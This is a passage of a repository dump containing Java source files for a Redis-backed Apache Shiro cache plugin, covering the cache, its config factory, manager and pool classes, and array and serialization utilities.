SerializeUtils.serialize(value);\n\t\t\tjedis.set(getKeyToBytes(key), nval);\n\t\t\treturn previous;\n\t\t} catch (Throwable t) {\n\t\t\tthrow new CacheException(t);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t@Override\n\tpublic V remove(K key) throws CacheException {\n\t\tif (logger.isDebugEnabled()) {\n\t\t\tlogger.debug(\"Removing object from cache [\" + getName() + \"] for key [\" + key + \"]\");\n\t\t}\n\t\tJedis jedis = initJedis(cachePool);\n\t\ttry {\n\t\t\tV previous = get(key);\n\t\t\tlong statusCode = jedis.del(getKeyToBytes(key));\n\t\t\tif (statusCode > 0) {\n\t\t\t\tif (logger.isInfoEnabled()) {\n\t\t\t\t\tlogger.info(\"Remove key [{}] successfully.\", key);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn previous;\n\t\t} catch (Throwable t) {\n\t\t\tthrow new CacheException(t);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t@Override\n\tpublic void clear() throws CacheException {\n\t\tif (logger.isDebugEnabled()) {\n\t\t\tlogger.debug(\"Clearing all objects from cache [\" + getName() + \"]\");\n\t\t}\n\t\tJedis jedis = initJedis(cachePool);\n\t\ttry {\n\t\t\tString statusCode = jedis.flushDB();\n\t\t\t/**\n\t\t\t * Temporarily clear the current DB. If the intensity is too large,\n\t\t\t * then could remove value base on the keys.\n\t\t\t */\n\t\t\t//jedis.del(keys);\n\t\t\tif (\"OK\".equalsIgnoreCase(statusCode)) {\n\t\t\t\tif (logger.isInfoEnabled()) {\n\t\t\t\t\tlogger.info(\"Flush DB_{} successfully.\", jedis.getDB());\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Throwable t) {\n\t\t\tthrow new CacheException(t);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t@Override\n\tpublic int size() {\n\t\tJedis jedis = initJedis(cachePool);\n\t\ttry {\n\t\t\tlong size = jedis.dbSize();\n\t\t\treturn Long.valueOf(size).intValue();\n\t\t} catch (Throwable t) {\n\t\t\tthrow new CacheException(t);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t@Override\n\t@SuppressWarnings(\"unchecked\")\n\tpublic Set<K> keys() {\n\t\tJedis jedis = initJedis(cachePool);\n\t\ttry {\n\t\t\tSet<byte[]> keySet = jedis.keys(getKeyPattern());\n\t\t\tif (!CollectionUtils.isEmpty(keySet)) {\n\t\t\t\tSet<K> keys = new LinkedHashSet<K>();\n\t\t\t\tfor (byte[] key : keySet) {\n\t\t\t\t\tkeys.add((K) key);\n\t\t\t\t}\n\t\t\t\treturn keys;\n\t\t\t} else {\n\t\t\t\treturn Collections.emptySet();\n\t\t\t}\n\t\t} catch (Throwable t) {\n\t\t\tthrow new CacheException(t);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t@Override\n\tpublic Collection<V> values() {\n\t\ttry {\n\t\t\tSet<K> keys = keys();\n\t\t\tif (!CollectionUtils.isEmpty(keys)) {\n\t\t\t\tList<V> values = new ArrayList<V>(keys.size());\n\t\t\t\tfor (K key : keys) {\n\t\t\t\t\tV value = get(key);\n\t\t\t\t\tif (value != null) {\n\t\t\t\t\t\tvalues.add(value);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn Collections.unmodifiableList(values);\n\t\t\t} else {\n\t\t\t\treturn Collections.emptyList();\n\t\t\t}\n\t\t} catch (Throwable t) {\n\t\t\tthrow new CacheException(t);\n\t\t}\n\t}\n\t\n\t/**\n\t * Constructs a Jedis instance.\n\t */\n\tpublic static Jedis initJedis(final RedisCachePool cachePool) {\n\t\tif (cachePool == null) {\n\t\t\tthrow new IllegalArgumentException(\"CachePool argument cannot be null.\");\n\t\t}\n\t\tJedis jedis = null;\n\t\ttry {\n\t\t\tjedis = cachePool.getResource();\n\t\t\tjedis.select(cachePool.getDatabaseIndex());\n\t\t\tif (logger.isDebugEnabled()) {\n\t\t\t\tlogger.debug(\"The current application database is located in DB_{}.\", jedis.getDB());\n\t\t\t}\n\t\t\treturn jedis;\n\t\t} catch (Exception e) {\n\t\t\tclose(jedis); //If throw exception, and Jedis is not null, then close Jedis instance.\n\t\t\tthrow new CacheException(e);\n\t\t} \n\t}\n\t\n\t/**\n\t * Close Jedis instance.\n\t */\n\tpublic static void close(final Jedis jedis) {\n\t\tif (jedis != null) {\n\t\t\tjedis.close();\n\t\t}\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn \"RedisCache [\" + getName() + \"]\";\n\t}\n\t\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic String getShiroCacheKeyPrefix() {\n\t\treturn shiroCacheKeyPrefix;\n\t}\n\n\tpublic void setShiroCacheKeyPrefix(String shiroCacheKeyPrefix) {\n\t\tthis.shiroCacheKeyPrefix = shiroCacheKeyPrefix;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/src/main/java/org/iherus/shiro/cache/redis/RedisCacheConfigFactory.java",
    "content": "/**\n * Copyright (c) 2016-~, Bosco.Liao (bosco_liao@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n */\npackage org.iherus.shiro.cache.redis;\n\nimport java.io.Serializable;\n\nimport redis.clients.jedis.JedisPoolConfig;\nimport redis.clients.jedis.Protocol;\n\n/**\n * <p>客户端配置工厂</p>\n * <p>Description:缓存池主要依赖本工厂实现实例化</p>\n * @author Wujun\n * @version 1.0.0\n * @date 2016年4月11日-下午4:05:08\n */\npublic class RedisCacheConfigFactory implements Serializable {\n\n\t/**\n\t * Required for serialization support.\n\t * \n\t * @see java.io.Serializable\n\t */\n\tprivate static final long serialVersionUID = 6348565977009073672L;\n\n\tprivate static final String DEFAULT_HOST = \"127.0.0.1\";\n\n\tprivate static final String DEFAULT_CLIENT_NAME = \"shiro-cache\";\n\n\tprivate static final int DEFAULT_DATABASE = 2;\n\n\tprotected String host = DEFAULT_HOST;\n\n\tprotected int port = Protocol.DEFAULT_PORT;\n\n\tprotected int timeout = Protocol.DEFAULT_TIMEOUT;\n\n\tprotected int database = DEFAULT_DATABASE;\n\n\tprotected String password = null;\n\n\tprotected String clientName = DEFAULT_CLIENT_NAME;\n\n\t/**\n\t * JedisPoolConfig\n\t */\n\tprotected JedisPoolConfig poolConfig = null;\n\n\t/**\n\t * Default constructor\n\t */\n\tpublic RedisCacheConfigFactory() {\n\t\tif (poolConfig == null) {\n\t\t\tthis.poolConfig = new JedisPoolConfig();\n\t\t}\n\t}\n\n\tpublic String getHost() {\n\t\treturn host;\n\t}\n\n\tpublic void setHost(String host) {\n\t\tthis.host = host;\n\t}\n\n\tpublic int getPort() {\n\t\treturn port;\n\t}\n\n\tpublic void setPort(int port) {\n\t\tthis.port = port;\n\t}\n\n\tpublic int getTimeout() {\n\t\treturn timeout;\n\t}\n\n\tpublic void setTimeout(int timeout) {\n\t\tthis.timeout = timeout;\n\t}\n\n\tpublic int getDatabase() {\n\t\treturn database;\n\t}\n\n\tpublic void setDatabase(int database) {\n\t\tthis.database = database;\n\t}\n\n\tpublic String getPassword() {\n\t\treturn password;\n\t}\n\n\tpublic void setPassword(String password) {\n\t\tthis.password = password;\n\t}\n\n\tpublic String getClientName() {\n\t\treturn clientName;\n\t}\n\n\tpublic void setClientName(String clientName) {\n\t\tthis.clientName = clientName;\n\t}\n\n\tpublic JedisPoolConfig getPoolConfig() {\n\t\treturn poolConfig;\n\t}\n\n\tpublic void setPoolConfig(JedisPoolConfig poolConfig) {\n\t\tthis.poolConfig = poolConfig;\n\t}\n\n\t@Override\n\tpublic int hashCode() {\n\t\tfinal int prime = 31;\n\t\tint result = 1;\n\t\tresult = prime * result + ((clientName == null) ? 0 : clientName.hashCode());\n\t\tresult = prime * result + database;\n\t\tresult = prime * result + ((host == null) ? 0 : host.hashCode());\n\t\tresult = prime * result + ((password == null) ? 0 : password.hashCode());\n\t\tresult = prime * result + ((poolConfig == null) ? 0 : poolConfig.hashCode());\n\t\tresult = prime * result + port;\n\t\tresult = prime * result + timeout;\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn \"RedisConfig [host=\" + host + \", port=\" + port + \", timeout=\" + timeout + \", database=\" + database\n\t\t\t\t+ \", password=\" + password + \", clientName=\" + clientName + \", poolConfig=\" + poolConfig + \"]\";\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/src/main/java/org/iherus/shiro/cache/redis/RedisCacheManager.java",
    "content": "/**\n * Copyright (c) 2016-~, Bosco.Liao (bosco_liao@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n */\npackage org.iherus.shiro.cache.redis;\n\nimport org.apache.shiro.ShiroException;\nimport org.apache.shiro.cache.Cache;\nimport org.apache.shiro.cache.CacheException;\nimport org.apache.shiro.cache.CacheManager;\nimport org.apache.shiro.util.Destroyable;\nimport org.apache.shiro.util.Initializable;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * <p>缓存管理器</p>\n * <p>Description:管理缓存池的初始化、获取当前缓存对象和销毁缓存池</p>\n * @author Wujun\n * @version 1.0.0\n * @date 2016年4月11日-下午4:03:01\n */\npublic class RedisCacheManager implements CacheManager, Initializable, Destroyable {\n\n\t/**\n     * Private internal log instance.\n     */\n\tprivate static final Logger logger = LoggerFactory.getLogger(RedisCacheManager.class);\n\t\n\tprivate static final String DEFAULT_CACHE_KEY_PREFIX = \"shiro_cache_\";\n\n\t/**\n\t * The cache pool used by this implementation to create caches.\n\t */\n\tprotected RedisCachePool cachePool;\n\t\n\t/**\n\t * Set a Default key prefix for all caches.\n\t */\n\tprivate String shiroCacheKeyPrefix = DEFAULT_CACHE_KEY_PREFIX;\n\n\t/**\n\t * The cache pool base on this factory\n\t */\n\tprivate RedisCacheConfigFactory configFactory;\n\n\t/**\n\t * Indicates if the CachePool instance was implicitly/automatically created\n\t * by this instance, indicating that it should be automatically destroy.\n\t */\n\tprivate boolean cachePoolImplicitlyCreated = false;\n\n\t/**\n     * Default constructor\n     */\n\tpublic RedisCacheManager() {\n\n\t}\n\n\tpublic RedisCachePool getCachePool() {\n\t\treturn cachePool;\n\t}\n\t\n\tpublic String getShiroCacheKeyPrefix() {\n\t\treturn shiroCacheKeyPrefix;\n\t}\n\n\tpublic void setShiroCacheKeyPrefix(String shiroCacheKeyPrefix) {\n\t\tthis.shiroCacheKeyPrefix = shiroCacheKeyPrefix;\n\t}\n\n\tpublic RedisCacheConfigFactory getConfigFactory() {\n\t\treturn configFactory;\n\t}\n\n\tpublic void setConfigFactory(RedisCacheConfigFactory configFactory) {\n\t\tthis.configFactory = configFactory;\n\t}\n\n\t@Override\n\tpublic final void init() throws ShiroException {\n\t\tensureCacheManager();\n\t}\n\n\t/**\n\t * Initialize the cache pool. If current cache pool is null, \n\t * then create CachePool instance, else use the exist.\n\t */\n\tprivate RedisCachePool ensureCacheManager() {\n\t\ttry {\n\t\t\tif (null == this.cachePool) {\n\t\t\t\tif (logger.isDebugEnabled()) {\n\t\t\t\t\tlogger.debug(\"cachePoolManager property not set. Constructing cachePoolManager instance... \");\n\t\t\t\t}\n\t\t\t\tthis.cachePool = new RedisCachePool(this.configFactory);\n\t\t\t\tif (logger.isTraceEnabled()) {\n\t\t\t\t\tlogger.trace(\"instantiated Redis cachePool instance.\");\n\t\t\t\t}\n\t\t\t\tthis.cachePoolImplicitlyCreated = true;\n\t\t\t\tif (logger.isDebugEnabled()) {\n\t\t\t\t\tlogger.debug(\"implicit cachePool created successfully.\");\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn this.cachePool;\n\t\t} catch (Exception e) {\n\t\t\tthrow new CacheException(e);\n\t\t}\n\t}\n\n\t@Override\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\tpublic <K, V> Cache<K, V> getCache(String name) throws CacheException {\n\t\tif (logger.isDebugEnabled()) {\n            logger.debug(\"Acquiring Cache instance named [\" + name + \"]\");\n        }\n\t\tRedisCache redisCache = ensureCacheManager().getCache(name);\n\t\tredisCache.setShiroCacheKeyPrefix(getShiroCacheKeyPrefix());\t\n\t\treturn redisCache;\n\t}\n\n\t@Override\n\tpublic void destroy() throws Exception {\n\t\tif (this.cachePoolImplicitlyCreated) {\n\t\t\ttry {\n\t\t\t\tRedisCachePool cachePool = getCachePool();\n\t\t\t\tcachePool.destroy();\n\t\t\t} catch (Exception e) {\n\t\t\t\tif (logger.isWarnEnabled()) {\n                    logger.warn(\"Unable to cleanly shutdown implicitly created CachePool instance.  \" +\n                            \"Ignoring (shutting down)...\");\n                }\n\t\t\t}\n\t\t\tthis.cachePoolImplicitlyCreated = false;\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/src/main/java/org/iherus/shiro/cache/redis/RedisCachePool.java",
    "content": "/**\n * Copyright (c) 2016-~, Bosco.Liao (bosco_liao@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n */\npackage org.iherus.shiro.cache.redis;\n\nimport java.io.Serializable;\n\nimport org.apache.shiro.cache.CacheException;\nimport org.iherus.shiro.util.SerializeUtils;\nimport org.iherus.shiro.util.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport redis.clients.jedis.Jedis;\nimport redis.clients.jedis.JedisPool;\n\n/**\n * <p>缓存池</p>\n * <p>Description:主要作用于JedisPool的实例化和提供获取当前池内缓存对象功能</p>\n * @author Wujun\n * @version 1.0.0\n * @date 2016年4月11日-下午3:59:53\n */\npublic class RedisCachePool extends JedisPool implements Serializable {\n\n\t/**\n\t * Required for serialization support.\n\t * \n\t * @see java.io.Serializable\n\t */\n\tprivate static final long serialVersionUID = -4990239742530217458L;\n\n\t/**\n     * Private internal log instance.\n     */\n\tprivate static final Logger logger = LoggerFactory.getLogger(RedisCachePool.class);\n\n\t/**\n\t * The current application database.\n\t */\n\tprivate int databaseIndex;\n\n\t/**\n\t * Constructs a new RedisCache instance with the given factory.\n\t */\n\tpublic RedisCachePool(RedisCacheConfigFactory factory) {\n\t\tsuper(factory.getPoolConfig(), factory.host, factory.getPort(), factory.getTimeout(), factory.getPassword(),\n\t\t\t\tfactory.getDatabase(), factory.clientName);\n\t\t\n\t\tthis.databaseIndex = factory.getDatabase();\n\t}\n\n\t/**\n\t * Gets cache object from cache database.\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic RedisCache getCache(final String name) {\n\n\t\tRedisCache cache = null;\n\n\t\tbyte[] serializedValue = null;\n\n\t\tif (StringUtils.isNotEmpty(name)) {\n\t\t\tJedis jedis = null;\n\t\t\ttry {\n\t\t\t\tjedis = this.getResource();\n\t\t\t\tbyte[] key = name.getBytes();\n\t\t\t\tserializedValue = jedis.get(key);\n\t\t\t\tif (serializedValue == null) {\n\t\t\t\t\tif (logger.isInfoEnabled()) {\n\t\t\t\t\t\tlogger.info(\"Cache with name '{}' does not yet exist.  Creating now.\", name);\n\t\t\t\t\t}\n\t\t\t\t\tcache = new RedisCache(this, name);\n\t\t\t\t\tserializedValue = SerializeUtils.serialize(cache); // serialized\n\t\t\t\t\tjedis.set(key, serializedValue);\n\t\t\t\t\tif (logger.isInfoEnabled()) {\n\t\t\t\t\t\tlogger.info(\"Added Cache named [\" + name + \"]\");\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tcache = (RedisCache) SerializeUtils.deserialize(serializedValue);\n\t\t\t\t\tif (logger.isInfoEnabled()) {\n\t\t\t\t\t\tlogger.info(\"Using existing Cache named [\" + cache.getName() + \"]\");\n\t\t            }\n\t\t\t\t}\n\t\t\t\treturn cache;\n\t\t\t} catch (Exception e) {\n\t\t\t\tthrow new CacheException(e);\n\t\t\t} finally {\n\t\t\t\tjedis.close();\n\t\t\t}\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t}\n\t\n\tpublic int getDatabaseIndex() {\n\t\treturn databaseIndex;\n\t}\n\n\tpublic void setDatabaseIndex(int databaseIndex) {\n\t\tthis.databaseIndex = databaseIndex;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/src/main/java/org/iherus/shiro/exception/SerializationException.java",
    "content": "/**\n * Copyright (c) 2016-~, Bosco.Liao (bosco_liao@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n */\npackage org.iherus.shiro.exception;\n\n/**\n * <p>序列化异常类</p>\n * <p>Description:供序列化工具使用.</p>\n * @author Wujun\n * @version 1.0.0\n * @date 2016年4月10日-下午10:49:36\n */\npublic class SerializationException extends RuntimeException {\n\n    /**\n\t * \n\t */\n\tprivate static final long serialVersionUID = -4301915165433653517L;\n\n\n    public SerializationException() {\n        super();\n    }\n\n    public SerializationException(final String message) {\n        super(message);\n    }\n\n\n    public SerializationException(final Throwable cause) {\n        super(cause);\n    }\n\n    public SerializationException(final String message, final Throwable cause) {\n        super(message, cause);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/src/main/java/org/iherus/shiro/util/ArrayUtils.java",
    "content": "/**\n * Copyright (c) 2016-~, Bosco.Liao (bosco_liao@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n */\npackage org.iherus.shiro.util;\n\nimport java.lang.reflect.Array;\n\n/**\n * <p>数组工具类</p>\n * <p>Description:提供常用的数组克隆、数组合并和截取子数组等功能</p>\n * @author Wujun\n * @version 1.0.0\n * @date 2016年4月12日-下午8:30:59\n */\npublic final class ArrayUtils {\n\n\tpublic static final int[] EMPTY_INT_ARRAY = new int[0];\n\n\tpublic static final char[] EMPTY_CHAR_ARRAY = new char[0];\n\n\tpublic static final byte[] EMPTY_BYTE_ARRAY = new byte[0];\n\t\n\tprivate ArrayUtils() {\n\n\t}\n\n\t/**\n\t * <p>\n\t * Clones an array returning a typecast result and handling {@code null}.\n\t * </p>\n\t */\n\tpublic static int[] clone(final int[] array) {\n\t\tif (array == null) {\n\t\t\treturn null;\n\t\t}\n\t\treturn array.clone();\n\t}\n\n\t/**\n\t * <p>\n\t * Clones an array returning a typecast result and handling {@code null}.\n\t * </p>\n\t */\n\tpublic static char[] clone(final char[] array) {\n\t\tif (array == null) {\n\t\t\treturn null;\n\t\t}\n\t\treturn array.clone();\n\t}\n\n\t/**\n\t * <p>\n\t * Clones an array returning a typecast result and handling {@code null}.\n\t * </p>\n\t */\n\tpublic static byte[] clone(final byte[] array) {\n\t\tif (array == null) {\n\t\t\treturn null;\n\t\t}\n\t\treturn array.clone();\n\t}\n\n\t/**\n\t * <p>\n\t * Merges all the elements of the given arrays into a new array.\n\t * </p>\n\t */\n\tpublic static char[] mergeAll(final char[] array1, final char... array2) {\n\t\tif (array1 == null) {\n\t\t\treturn clone(array2);\n\t\t} else if (array2 == null) {\n\t\t\treturn clone(array1);\n\t\t}\n\t\tfinal char[] joinedArray = new char[array1.length + array2.length];\n\t\tSystem.arraycopy(array1, 0, joinedArray, 0, array1.length);\n\t\tSystem.arraycopy(array2, 0, joinedArray, array1.length, array2.length);\n\t\treturn joinedArray;\n\t}\n\n\t/**\n\t * <p>\n\t * Merges all the elements of the given arrays into a new array.\n\t * </p>\n\t */\n\tpublic static byte[] mergeAll(final byte[] array1, final byte... array2) {\n\t\tif (array1 == null) {\n\t\t\treturn clone(array2);\n\t\t} else if (array2 == null) {\n\t\t\treturn clone(array1);\n\t\t}\n\t\tfinal byte[] joinedArray = new byte[array1.length + array2.length];\n\t\tSystem.arraycopy(array1, 0, joinedArray, 0, array1.length);\n\t\tSystem.arraycopy(array2, 0, joinedArray, array1.length, array2.length);\n\t\treturn joinedArray;\n\t}\n\n\t/**\n\t * <p>\n\t * Merges all the elements of the given arrays into a new array.\n\t * </p>\n\t */\n\tpublic static int[] mergeAll(final int[] array1, final int... array2) {\n\t\tif (array1 == null) {\n\t\t\treturn clone(array2);\n\t\t} else if (array2 == null) {\n\t\t\treturn clone(array1);\n\t\t}\n\t\tfinal int[] joinedArray = new int[array1.length + array2.length];\n\t\tSystem.arraycopy(array1, 0, joinedArray, 0, array1.length);\n\t\tSystem.arraycopy(array2, 0, joinedArray, array1.length, array2.length);\n\t\treturn joinedArray;\n\t}\n\n\t/**\n\t * <p>\n\t * Copies the given array and merges the given element at the end of the new\n\t * array.\n\t * </p>\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static <T> T[] merge(final T[] array, final T element) {\n\t\tClass<?> type;\n\t\tif (array != null) {\n\t\t\ttype = array.getClass().getComponentType();\n\t\t} else if (element != null) {\n\t\t\ttype = element.getClass();\n\t\t} else {\n\t\t\tthrow new IllegalArgumentException(\"Arguments cannot both be null\");\n\t\t}\n\t\tfinal T[] newArray = (T[]) expandCopy(array, type);\n\t\tnewArray[newArray.length - 1] = element;\n\t\treturn newArray;\n\t}\n\n\t/**\n\t * <p>\n\t * Produces a new {@code int} array containing the elements between the\n\t * start and end indices.\n\t * </p>\n\t */\n\tpublic static int[] subarray(final int[] array, int startIndexInclusive, int endIndexExclusive) {\n\t\tif (array == null) {\n\t\t\treturn null;\n\t\t}\n\t\tif (startIndexInclusive < 0) {\n\t\t\tstartIndexInclusive = 0;\n\t\t}\n\t\tif (endIndexExclusive > array.length) {\n\t\t\tendIndexExclusive = array.length;\n\t\t}\n\t\tfinal int newSize = endIndexExclusive - startIndexInclusive;\n\t\tif (newSize <= 0) {\n\t\t\treturn EMPTY_INT_ARRAY;\n\t\t}\n\t\tfinal int[] subarray = new int[newSize];\n\t\tSystem.arraycopy(array, startIndexInclusive, subarray, 0, newSize);\n\t\treturn subarray;\n\t}\n\n\t/**\n\t * <p>\n\t * Produces a new {@code char} array containing the elements between the\n\t * start and end indices.\n\t * </p>\n\t */\n\tpublic static char[] subarray(final char[] array, int startIndexInclusive, int endIndexExclusive) {\n\t\tif (array == null) {\n\t\t\treturn null;\n\t\t}\n\t\tif (startIndexInclusive < 0) {\n\t\t\tstartIndexInclusive = 0;\n\t\t}\n\t\tif (endIndexExclusive > array.length) {\n\t\t\tendIndexExclusive = array.length;\n\t\t}\n\t\tfinal int newSize = endIndexExclusive - startIndexInclusive;\n\t\tif (newSize <= 0) {\n\t\t\treturn EMPTY_CHAR_ARRAY;\n\t\t}\n\t\tfinal char[] subarray = new char[newSize];\n\t\tSystem.arraycopy(array, startIndexInclusive, subarray, 0, newSize);\n\t\treturn subarray;\n\t}\n\n\t/**\n\t * <p>\n\t * Produces a new {@code byte} array containing the elements between the\n\t * start and end indices.\n\t * </p>\n\t */\n\tpublic static byte[] subarray(final byte[] array, int startIndexInclusive, int endIndexExclusive) {\n\t\tif (array == null) {\n\t\t\treturn null;\n\t\t}\n\t\tif (startIndexInclusive < 0) {\n\t\t\tstartIndexInclusive = 0;\n\t\t}\n\t\tif (endIndexExclusive > array.length) {\n\t\t\tendIndexExclusive = array.length;\n\t\t}\n\t\tfinal int newSize = endIndexExclusive - startIndexInclusive;\n\t\tif (newSize <= 0) {\n\t\t\treturn EMPTY_BYTE_ARRAY;\n\t\t}\n\t\tfinal byte[] subarray = new byte[newSize];\n\t\tSystem.arraycopy(array, startIndexInclusive, subarray, 0, newSize);\n\t\treturn subarray;\n\t}\n\n\t/**\n\t * <p>\n\t * Produces a new array containing the elements between the start and end\n\t * indices.\n\t * </p>\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static <T> T[] subarray(final T[] array, int startIndexInclusive, int endIndexExclusive) {\n\t\tif (array == null) {\n\t\t\treturn null;\n\t\t}\n\t\tif (startIndexInclusive < 0) {\n\t\t\tstartIndexInclusive = 0;\n\t\t}\n\t\tif (endIndexExclusive > array.length) {\n\t\t\tendIndexExclusive = array.length;\n\t\t}\n\t\tfinal int newSize = endIndexExclusive - startIndexInclusive;\n\t\tfinal Class<?> type = array.getClass().getComponentType();\n\t\tif (newSize <= 0) {\n\t\t\tfinal T[] emptyArray = (T[]) Array.newInstance(type, 0);\n\t\t\treturn emptyArray;\n\t\t}\n\t\tfinal T[] subarray = (T[]) Array.newInstance(type, newSize);\n\t\tSystem.arraycopy(array, startIndexInclusive, subarray, 0, newSize);\n\t\treturn subarray;\n\t}\n\n\t/**\n\t * Returns a copy of the given array of size 1 greater than the argument.\n\t * The last value of the array is left to the default value.\n\t */\n\tprivate static Object expandCopy(final Object array, final Class<?> newArrayComponentType) {\n\t\tif (array != null) {\n\t\t\tfinal int arrayLength = Array.getLength(array);\n\t\t\tfinal Object newArray = Array.newInstance(array.getClass().getComponentType(), arrayLength + 1);\n\t\t\tSystem.arraycopy(array, 0, newArray, 0, arrayLength);\n\t\t\treturn newArray;\n\t\t}\n\t\treturn Array.newInstance(newArrayComponentType, 1);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/src/main/java/org/iherus/shiro/util/SerializeUtils.java",
    "content": "/**\n * Copyright (c) 2016-~, Bosco.Liao (bosco_liao@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n */\npackage org.iherus.shiro.util;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.NotSerializableException;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\n\nimport org.iherus.shiro.exception.SerializationException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * <p>序列化工具类</p>\n * <p>Description:基于JDK原生实现，支持序列化和反序列化.</p>\n * @author Wujun\n * @version 1.0.0\n * @date 2016年4月10日-下午8:25:27\n */\npublic final class SerializeUtils {\n\n\tprivate static final Logger logger = LoggerFactory.getLogger(SerializeUtils.class);\n\n\tprivate static final int DEFAULT_BUFFER_SIZE = 1024; // default buffer size\n\n\tprivate SerializeUtils() {\n\n\t}\n\n\t/**\n\t * <p>Serialize the given object to a byte array.<p>\n\t * @param object the object to serialize\n\t * @return an array of bytes representing the object in a portable fashion\n\t */\n\tpublic static byte[] serialize(final Object object) {\n\t\tif (object == null) {\n\t\t\treturn new byte[0];\n\t\t}\n\t\tbyte[] serializedValue = null;\n\t\tByteArrayOutputStream byteOutStream = null;\n\t\tObjectOutputStream objectOutStream = null;\n\t\ttry {\n\t\t\tbyteOutStream = new ByteArrayOutputStream(DEFAULT_BUFFER_SIZE);\n\t\t\tobjectOutStream = new ObjectOutputStream(byteOutStream);\n\t\t\ttry {\n\t\t\t\tobjectOutStream.writeObject(object);\n\t\t\t} catch (NotSerializableException ex) {\n\t\t\t\tthrow new SerializationException(object.getClass().getName() \n\t\t\t\t\t\t+ \" does not implement Serializable or externalizable.\", ex);\n\t\t\t}\n\t\t\tobjectOutStream.flush();\n\t\t\tserializedValue = byteOutStream.toByteArray();\n\t\t\tif (logger.isDebugEnabled()) {\n\t\t\t\tlogger.debug(\"Object serialzed successfully.\");\n\t\t\t}\n\t\t} catch (Throwable e) {\n\t\t\tlogger.error(\"Failed to serialize object of type: \" + object.getClass().getName() + \".\", e);\n\t\t} finally {\n\t\t\tif (objectOutStream != null) {\n\t\t\t\ttry {\n\t\t\t\t\tobjectOutStream.close();\n\t\t\t\t\tbyteOutStream.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t// ignore\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn serializedValue;\n\t}\n\n\t/**\n\t * <p>Deserialize the byte array into an object.</p>\n\t * @param 